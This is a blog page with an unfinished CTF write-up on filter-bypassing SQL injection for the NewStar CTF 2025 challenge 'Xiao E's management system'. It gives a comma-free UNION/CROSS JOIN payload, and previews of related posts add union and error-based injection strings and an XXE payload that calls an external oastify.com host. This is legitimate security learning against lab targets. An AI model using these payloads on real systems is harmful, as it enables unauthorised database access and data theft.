avatar
Articles
121
Tags
70
Categories
8
首页
时间轴
标签
分类
关于我
24kmagic未完成NewStar CTF 2025 Week2 - 小 E 的管理系统 Back to Home
Search
首页
时间轴
标签
分类
关于我

未完成NewStar CTF 2025 Week2 - 小 E 的管理系统

Created2026-03-07|Updated2026-06-22|web
|Post Views:

未完成NewStar CTF 2025 Week2 - 小 E 的管理系统

抓包发现http://127.0.0.1:36786/query.php?id=1,疑似sql注入

加了’发现被检测到了,空格和各种符号基本都被过滤

image-20260305205231364

发现没有database()

1
2
-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E

https://blog.csdn.net/qq_73089613/article/details/153704614

Author: 24kmagic
Link: https://blog.24kmagic.site/2026/03/07/ctf%E9%A2%98%E8%A7%A3/web/%E6%9C%AA%E5%AE%8C%E6%88%90NewStar%20CTF%202025%20Week2%20-%20%E5%B0%8F%20E%20%E7%9A%84%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/
Copyright Notice: All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
CTFSQLSQL注入注入PHP
Previous
快速入门crypto及buuctf题解
快速入门crypto及buuctf题解大帝的密码武器1题解 FRPHEVGL偏移13位security 密文:ComeChina,通过偏移13 得到flag,注意大小写 看我回旋踢1 遇到synt{xx-xx-xx} 判定他为rot13; 题目一般都是提示信息,“回旋踢”就暗示了rot13的特点,会重新绕回; flag{5cd1004d-86a5-46d8-b720-beb5ba0417e1} moectf misc Cor1e的支票解码网站:https://www.dcode.fr/ook-language Ook编码详解123 Ook! 是一种基于极简主义设计的编程语言,属于 esolang(怪异语言)的一种。它是从 Brainfuck 演变而来的,主要用于编码和解码任务。Ook! 的指令由简单的短语组成,例如 Ook. Ook? 或 Ook! Ook!,这些短语对应 Brainfuck 的操作符。 编码规则 Ook! 使用一组固定的短语来表示操作符,每个短语由两个单词组成。以下是 Ook! 和 Brainfuck 的对应关系: Ook. Ook. 对应 >(指针右...
Next
未完成 MoeCTF-web-23 第二十三章 幻境迷心·皇陨星沉(大结局)
未完成 MoeCTF-web-23 第二十三章 幻境迷心·皇陨星沉(大结局)
Related Articles
2026-03-16
[GWCTF 2019]我有一个数据库 1
[GWCTF 2019]我有一个数据库1页面一打开,抓包看到了数据库,一开始想到的sql注入,但明确没有注入点,所以我们扫扫文件看看有什么有用的信息 看到phpmyadmin,可以联想到某项版本下是存在漏洞的 打开phpmyadmin页面,看到了具体的版本 查找这个版本对应的漏洞 phpMyAdmin 4.8.1 远程文件包含漏洞简介phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。 在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。 漏洞还原:文件/index.php代码 123456789if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target'...
2026-02-03
NewStar CTF 2025 Week1 - Web strange_login
NewStar CTF 2025 Week1 - Web strange_login其实这道题目你静下心来想:如果真的sql注入的话为什么还要提示你万能密码 不就是故意想要让你误解吗? 所以一定是万能密码 那么来回看我的错误吧 1231'union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'ctf_db'#或者1'union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# 1231' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users'#->id,us...
2026-03-07
快速入门web方向buuctf+mo
快速入门web方向buuctf+moectf解题过程sql注入1.账号密码登陆题目 方法一:万能账户密码判断闭合方式后就可以套公式啦 sql语句:1.原本:随便输入 1SELECT*FROM table_name WHERE username=' a' and password='123'; 2.我们要做的: 1SELECT*FROM table_name WHERE username=' a' or ture # ' and password='123'; 当输入 a’ or ture #整句话会被解析成: 1xx一堆被闭合的垃圾话xx or ture (一个成立即为真) where条件为真,执行最前面select语句 那么就通关了 这里有一个问题:为什么账号和密码只要一个填了万能公式就可以成功?你先想一下:账号填了这个万能公式,密码填的明明是错的为什么可以对? 1SELECT*FROM table_name WHERE usern...
2026-03-07
快速入门web-sql注入及buuctf西电题解
快速入门web-sql注入及buuctf西电题解08 第八章 天衍真言,星图显圣 题解1.判断字段数order by 2 2.判断回显位 ‘union select 1,2# Welcome 1 3.数据库名 ‘union select database()# Welcome user 4.尝试查询数据库名为user下的所有表名 ‘union select group_concat(table_name),2 from information_schema.tables where table_schema=’user’# Welcome flag,users 5.尝试查询 数据库名为user,表名为flag 下的所有列名 ‘union select group_concat(column_name),2 from information_schema.columns where table_schema=’user’ and table_name=’flag’# Welcome value 6.查找数据 错误答案:’union select va...
2026-06-22
bp官网sql注入学习笔记
bp官网sql注入学习笔记https://portswigger.net/web-security/sql-injection/cheat-sheet 12Payload(特殊字符编码):TrackingId=tOd1M3PauSPFaqZQ'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//lrg2i6ohdaqaifqyhgeza0lxsoyfm5au.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual-- 1. 基础探测(验证是否存在注入) 数据库类型 核心语法 / 函数 代码示例(将 SUBDOMAIN 换成你的地址) Oracle extr...
2026-03-01
[RCTF2015]EasySQL 1
[RCTF2015]EasySQL1寻找注入点,这里利用的是二次注入, 我的理解是先埋雷,然后打开雷得到想要的内容 我们可以猜测更改密码的后端代码 update 新密码 where username=”用户名” 1update password='xxxx' where username="xxxx" 那这里我们利用报错注入,修改用户名为我们的注入内容即可 1update password='xxxx' where username="admin"||extractvalue(1,...,0x7e))# 为什么是admin?前面注册的时候发现这个admin用户名已经被注册过了 重新注册,用户名为以下内容: 123admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7...

Comments
avatar
24kmagic
谁会放弃自由去选择保障
Articles
121
Tags
70
Categories
8
Follow Me
Announcement
欢迎来到我的博客!
Contents
  1. 1. 未完成NewStar CTF 2025 Week2 - 小 E 的管理系统
Recent Posts
全站更新记录2026-06-22
我的第一篇博客2026-06-22
韩顺平linux学习笔记2026-06-22
黑马linux学习笔记2026-06-22
NewStar CTF 2025 Week3-who'ssti2026-06-22
© 2025 - 2026 By 24kmagicFramework Hexo 8.1.2|Theme Butterfly 5.5.5
浙ICP备2026034087号
Search
Loading Database